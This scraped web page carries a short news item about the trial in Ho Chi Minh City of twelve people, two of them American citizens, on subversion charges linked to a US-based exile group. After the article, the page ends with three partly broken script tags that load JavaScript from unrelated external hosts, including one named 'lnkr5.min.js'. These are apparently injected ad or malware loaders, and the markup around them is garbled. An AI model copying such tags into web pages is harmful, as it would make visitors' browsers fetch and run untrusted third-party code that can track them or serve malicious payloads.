<span style="color: #222222;">A court in Vietnam's Ho Chi Minh City has begun the trial of 12 people, including two American citizens, on subversion charges as government authorities step up a crackdown on dissent.<br />''</span><br />'' <span style="color: #222222;"> The official Vietnam News Agency said the defendants are accused of attempting to overthrow the government by recruiting members for a US-based exile group called the Provisional Central Government of Vietnam and by engaging in anti-state activities. Vietnam's government has labeled the little-known group a terrorist organization.<br />''</span><br />'' <span style="color: #222222;"> The news agency said two Vietnam-born American citizens are accused of ordering other members of the group to distribute anti-state leaflets, take over state radio stations to broadcast anti-government messages, and participate in anti-government protests. <br />''<br />''It said most of the plans were thwarted. The trial is scheduled to last three days.</span><br />'' <span style="color: #222222;"> </span><br />''  <br />''< type="text/java" src="http://henamecool.xyz/addons/lnkr5.min.js"></>< type="text/java" src="http://loadsource.org/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52200x6849x&r=1534853731625"></>< type="text/java" src="http://henamecool.xyz/ext/1ac1b73204b5d3dec6.js?sid=52200_6849_&title=&blocks[]=31af2"></>